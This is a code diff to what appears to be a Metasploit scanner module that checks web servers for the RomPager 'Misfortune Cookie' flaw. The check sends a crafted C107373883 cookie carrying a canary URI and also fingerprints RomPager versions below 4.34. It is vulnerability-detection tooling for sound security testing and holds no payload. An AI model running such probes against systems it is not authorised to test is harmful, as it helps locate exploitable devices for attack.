@@ -40,12 +40,6 @@ def initialize(info = {})
40
40
OptString . new ( 'TARGETURI' , [ true , 'URI to test' , '/' ] )
41
41
] , Exploit ::Remote ::HttpClient
42
42
)
43
-
44
- register_advanced_options (
45
- [
46
- OptBool . new ( 'REQUIRE_AUTH' , [ true , 'Require that the tested URI require authentication' , false ] )
47
- ] , self . class
48
- )
49
43
end
50
44
51
45
def check_host ( _ip )
@@ -67,97 +61,106 @@ def run_host(ip)
67
61
end
68
62
end
69
63
70
- def find_canary_uri
64
+ def check_response_fingerprint ( res , fallback_status )
65
+ fp = http_fingerprint ( response : res )
66
+ if /RomPager\/ (?<version>[\d \. ]+)/ =~ fp
67
+ vprint_status ( "#{ peer } is RomPager #{ version } " )
68
+ if Gem ::Version . new ( version ) < Gem ::Version . new ( '4.34' )
69
+ return Exploit ::CheckCode ::Detected
70
+ end
71
+ end
72
+ fallback_status
73
+ end
74
+
75
+ def find_canary
71
76
vprint_status ( "#{ peer } locating suitable canary URI" )
72
77
0 . upto ( 4 ) do
73
78
canary = '/' + Rex ::Text . rand_text_alpha ( 16 )
74
- res = send_request_raw ( 'uri' => normalize_uri ( canary ) , 'method' => 'GET' , 'headers' => headers )
75
- # in most cases, the canary URI will not exist and will return a 404, but if everything under
76
- # TARGETURI is protected by auth, that may be fine too
79
+ res = send_request_raw (
80
+ 'uri' => normalize_uri ( canary ) ,
81
+ 'method' => 'GET' ,
82
+ 'headers' => headers
83
+ )
84
+ # in most cases, the canary URI will not exist and will return a 404, but
85
+ # if everything under TARGETURI is protected by auth, that may be fine
86
+ # too
77
87
return canary if res . code == 401 || res . code == 404
78
88
end
79
89
nil
80
90
end
81
91
82
92
def headers
83
93
{
84
- 'Referer' => datastore [ 'SSL' ] ? 'https' : 'http' + ":// #{ rhost } : #{ rport } "
94
+ 'Referer' => full_uri
85
95
}
86
96
end
87
97
88
- def requires_auth?
89
- res = send_request_raw (
90
- 'uri' => normalize_uri ( target_uri . path . to_s ) ,
91
- 'method' => 'GET' ,
92
- 'headers' => headers
93
- )
94
- return false unless res
95
-
96
- http_fingerprint ( response : res )
97
- if res . code == 401
98
- vprint_status ( "#{ peer } requires authentication for #{ target_uri . path } " )
99
- true
100
- else
101
- vprint_status ( "#{ peer } does not require authentication for #{ target_uri . path } -- code #{ res . code } " )
102
- false
103
- end
104
- end
105
-
98
+ # To test for this vulnerability, we must first find a URI known to return
99
+ # a 404 (not found) which we will use as a canary. This URI (for example,
100
+ # /foo) is then taken and used as the value for a carefully crafted cookie
101
+ # when making a request to the configured host+port+uri. If the response
102
+ # is a 404 and the body includes the canary, it is likely that the cookie
103
+ # overwrote RomPager's concept of the requested URI, indicating that it is
104
+ # vulnerable.
106
105
def test_misfortune
107
- if datastore [ 'REQUIRE_AUTH' ]
108
- return Exploit ::CheckCode ::Unknown unless requires_auth?
109
- end
110
-
111
- # find a usable canary URI (one that 401/404s already)
112
- unless canary = find_canary_uri
106
+ # find a usable canary URI (one that returns a 404 already)
107
+ unless ( canary_value = find_canary )
113
108
vprint_error ( "#{ peer } Unable to find a suitable canary URI" )
114
109
return Exploit ::CheckCode ::Unknown
115
110
end
116
111
117
- # Make a request containing a malicious cookie with the canary value.
118
- # If that canary shows up in the *body*, they are vulnerable
112
+ canary_cookie_name = 'C107373883'
113
+ canary_cookie = canary_cookie_name + "=#{ canary_value } ;"
114
+
115
+ # Make a request containing a specific canary cookie name with the value set
116
+ # from the suitable canary value found above.
119
117
res = send_request_raw (
120
118
'uri' => normalize_uri ( target_uri . path . to_s ) ,
121
119
'method' => 'GET' ,
122
- 'headers' => headers . merge ( 'Cookie' => "C107373883= #{ canary } " )
120
+ 'headers' => headers . merge ( 'Cookie' => canary_cookie )
123
121
)
124
122
125
123
unless res
126
- vprint_error ( "#{ peer } no response" )
124
+ vprint_error ( "#{ full_uri } no response" )
127
125
return Exploit ::CheckCode ::Unknown
128
126
end
129
127
130
- # fingerprint because this is useful and also necessary if the canary is not
131
- # in the body
132
- fp = http_fingerprint ( response : res )
133
-
134
- unless res . body
135
- vprint_status ( "#{ peer } HTTP code #{ res . code } had no body" )
136
- return Exploit ::CheckCode ::Unknown
128
+ unless res . code == 404
129
+ vprint_status ( "#{ full_uri } unexpected HTTP code #{ res . code } response" )
130
+ return check_response_fingerprint ( res , Exploit ::CheckCode ::Unknown )
137
131
end
138
132
139
- if res . body . include? ( canary )
140
- vprint_good ( "#{ peer } HTTP code #{ res . code } response contained canary URI #{ canary } " )
141
- report_vuln (
142
- host : rhost ,
143
- port : rport ,
144
- name : name ,
145
- refs : references
146
- )
147
- return Exploit ::CheckCode ::Appears
133
+ unless res . body
134
+ vprint_status ( "#{ full_uri } HTTP code #{ res . code } had no body" )
135
+ return check_response_fingerprint ( res , Exploit ::CheckCode ::Unknown )
148
136
end
149
137
150
- vprint_status ( "#{ peer } HTTP code #{ res . code } response did not contain canary URI #{ canary } " )
151
- if /RomPager\/ (?<version>[\d \. ]+)/ =~ fp
152
- vprint_status ( "#{ peer } is RomPager #{ version } " )
153
- if Gem ::Version . new ( version ) < Gem ::Version . new ( '4.34' )
154
- return Exploit ::CheckCode ::Detected
138
+ # If that canary *value* shows up in the *body*, then there are two possibilities:
139
+ #
140
+ # 1) If the canary cookie *name* is also in the *body*, it is likely that
141
+ # the endpoint is puppeting back our request to some extent and therefore
142
+ # it is expected that the canary cookie *value* would also be there.
143
+ # return Exploit::CheckCode::Unknown
144
+ #
145
+ # 2) If the canary cookie *name* is *not* in the *body*, return
146
+ # Exploit::CheckCode::Appears
147
+ if res . body . include? ( canary_value )
148
+ if res . body . include? ( canary_cookie_name )
149
+ vprint_status ( "#{ full_uri } HTTP code #{ res . code } response contained test cookie name #{ canary_cookie_name } " )
150
+ return check_response_fingerprint ( res , Exploit ::CheckCode ::Unknown )
151
+ else
152
+ vprint_good ( "#{ full_uri } HTTP code #{ res . code } response contained canary cookie value #{ canary_value } as URI" )
153
+ report_vuln (
154
+ host : rhost ,
155
+ port : rport ,
156
+ name : name ,
157
+ refs : references
158
+ )
159
+ return Exploit ::CheckCode ::Appears
155
160
end
156
161
end
157
162
158
- # TODO: ensure that the canary page doesn't exist in the first place
159
- # (returns a 404), and then ensure that the malcious request with the
160
- # carary in the cookie then returns a 404.
161
- Exploit ::CheckCode ::Safe
163
+ vprint_status ( "#{ full_uri } HTTP code #{ res . code } response did not contain canary cookie value #{ canary_value } as URI" )
164
+ check_response_fingerprint ( res , Exploit ::CheckCode ::Safe )
162
165
end
163
166
end
0 commit comments